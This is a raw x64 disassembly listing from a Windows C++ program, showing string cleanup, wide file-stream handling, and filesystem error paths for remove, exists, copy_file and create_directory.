mov rdx, qword [rsp + 0x3e0]
cmp rdx, 7
jbe 0x140038f30
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x3c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038f2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039694
call fcn.14025e770
mov qword [rsp + 0x3d8], rbx
mov qword [rsp + 0x3e0], 7
mov word [rsp + 0x3c8], bx
mov rdx, qword [rsp + 0x3a0]
cmp rdx, 7
jbe 0x140038f94
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x388]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038f8f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003969a
call fcn.14025e770
mov qword [rsp + 0x398], rbx
mov qword [rsp + 0x3a0], 7
mov word [rsp + 0x388], bx
mov rax, qword [rsp + 0x3f0]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rsp + rcx + 0x3f0], rsi
mov rax, qword [rsp + 0x3f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x3ec], edx
lea rcx, [rsp + 0x3f8]
call fcn.1400407a0
mov rax, qword [rsp + 0x3f0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rsp + rcx + 0x3f0], rax
mov rax, qword [rsp + 0x3f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x3ec], edx
lea r14, vtable.std::ios_base.0
mov qword [rsp + 0x498], r14
lea rcx, [rsp + 0x498]
call fcn.140242ad4
nop
mov rdx, qword [rsp + 0x308]
cmp rdx, 7
jbe 0x140039087
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039082
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400396a0
call fcn.14025e770
mov qword [rsp + 0x300], rbx
mov qword [rsp + 0x308], 7
mov word [rsp + 0x2f0], bx
mov rdx, qword [rsp + 0x328]
cmp rdx, 7
jbe 0x1400390eb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400390e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400396a6
call fcn.14025e770
mov qword [rsp + 0x320], rbx
mov qword [rsp + 0x328], 7
mov word [rsp + 0x310], bx
mov rdx, qword [rsp + 0x360]
cmp rdx, 7
jbe 0x140039150
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x348]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003914a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400396ac
call fcn.14025e770
nop
mov rdx, qword [rsp + 0x288]
cmp rdx, 7
jbe 0x140039198
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039193
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400396b2
call fcn.14025e770
mov qword [rsp + 0x280], rbx
mov qword [rsp + 0x288], 7
mov word [rsp + 0x270], bx
mov rdx, qword [rsp + 0x2a8]
cmp rdx, 0xf
jbe 0x1400391f7
inc rdx
mov rcx, qword [rsp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400391f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400396b8
call fcn.14025e770
mov rdi, qword [rsp + 0x68]
mov r15d, 2
lea rsi, [0x140343cb0]
jmp 0x140038260
mov rcx, qword [rsp + 0x1f8]
call fcn.140164c40
mov rcx, qword [rsp + 0x200]
call fcn.14017ede0
mov r8d, 3
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x1b0]
call fcn.140009f80
movsd xmm0, qword [rax]
movsd qword [rsp + 0x170], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0xd0], ecx
mov qword [rsp + 0xd8], rsi
movaps xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0x210], xmm0
mov eax, dword [rsp + 0x170]
test eax, eax
je 0x1400392d4
cmp eax, 1
je 0x1400392dc
lea rcx, [rsp + 0x230]
cmp qword [rsp + 0x248], 7
cmova rcx, qword [rsp + 0x230]
call fcn.1402400ac
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x1400396be
jmp 0x1400392dc
test ecx, ecx
jne 0x1400396d7
mov rdx, qword [rsp + 0x248]
cmp rdx, 7
jbe 0x140039324
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003931f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400396f4
call fcn.14025e770
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], 7
mov word [rsp + 0x230], bx
mov rdx, qword [rsp + 0x2e8]
cmp rdx, 0xf
jbe 0x140039384
inc rdx
mov rcx, qword [rsp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003937e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400396fa
call fcn.14025e770
nop
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x1400393cc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400393c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003971d
call fcn.14025e770
mov qword [rsp + 0x260], rbx
mov qword [rsp + 0x268], 7
mov word [rsp + 0x250], bx
mov rdx, qword [rsp + 0x2c8]
cmp rdx, 0xf
jbe 0x14003942b
inc rdx
mov rcx, qword [rsp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039426
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039723
call fcn.14025e770
add rdi, 0x20
jmp 0x14003798d
test ecx, ecx
jne 0x140039700
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x140039484
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003947f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003971d
call fcn.14025e770
mov qword [rsp + 0x260], rbx
mov qword [rsp + 0x268], 7
mov word [rsp + 0x250], bx
mov rdx, qword [rsp + 0x2c8]
cmp rdx, 0xf
jbe 0x14003942b
inc rdx
mov rcx, qword [rsp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039426
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039723
jmp 0x140039426
lea rcx, [rsp + 0x330]
call fcn.140040900
nop
mov rdx, qword [rsp + 0x380]
cmp rdx, 7
jbe 0x14003800a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x368]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038005
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140038005
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
int3
shr rdx, 0x20
lea r8, [rsp + 0x230]
lea rcx, str.remove
call fcn.1400089f0
int3
lea r8, [rsp + 0x230]
lea rdx, [rsp + 0x210]
lea rcx, str.exists
call fcn.140008ae0
int3
shr rdx, 0x20
lea r9, [rsp + 0x230]
lea r8, [rsp + 0x250]
lea rcx, str.copy_file
call fcn.140008a60
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
int3
call fcn.14027aed0
nop
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x210]
lea rcx, str.exists
call fcn.140008ae0
nop
shr rdx, 0x20
lea r8, [rsp + 0x48]
lea rcx, str.create_directory
call fcn.1400089f0
nop
call fcn.14027aed0
int3
call fcn.14004fc20
nop
call fcn.1400034c0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
int3
test dl, 4
je 0x14003963f
lea rbx, str.ios_base::badbit_set
jmp 0x140039654
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x1c0]
call fcn.1400038a0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x1d0]
call fcn.1400052f0
lea rdx, [0x14033ae70]
lea rcx, [rsp + 0x1d0]
call fcn.140260b78
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
shr rdx, 0x20
lea r8, [rsp + 0x230]
lea rcx, str.remove
call fcn.1400089f0
int3
lea r8, [rsp + 0x230]
lea rdx, [rsp + 0x210]
lea rcx, str.exists
call fcn.140008ae0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
int3
lea r8, [rsp + 0x250]
lea rdx, [rsp + 0x210]
lea rcx, str.exists
call fcn.140008ae0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
int3